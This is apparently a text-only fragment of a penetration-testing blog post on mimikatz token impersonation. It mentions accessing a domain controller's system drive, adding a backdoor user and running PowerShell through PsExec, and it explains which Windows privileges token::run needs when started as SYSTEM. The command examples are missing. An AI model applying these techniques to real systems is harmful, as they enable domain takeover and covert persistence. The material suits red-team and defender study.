Example to access DC system drive:
Add backdoor user:
It's not possible to directly start a new interactive PowerShell process, because the user input of a new process is somehow not handled correctly. However, when PowerShell is started via PsExec, it can be interactively used:
A new PowerShell window is then opened wich can be used interactively:
Demystifying the kull_m_process_run_data Error
Even as a local administrator, you can get the kull_m_process_run_data error:
The error message says that the CreateProcessAsUser function could not be executed.
The token::run command uses the function CreateProceasAsUser to create a new process in the security context of the specified token and requires the following privileges (source: CreateProcessAsUserA function (processthreadsapi.h)):
SeIncreaseQuotaPrivilege privilege
SeAssignPrimaryTokenPrivilege privilege (if the token is not assignable)
A local admin has the permission to get the SeIncreaseQuotaPrivilege privilege but not the SeAssignPrimaryTokenPrivilege privilege:
If you start mimikatz as SYSTEM, these privileges can be acquired:
Then, it's possible to use the token::run command and use stolen tokens as primary tokens.
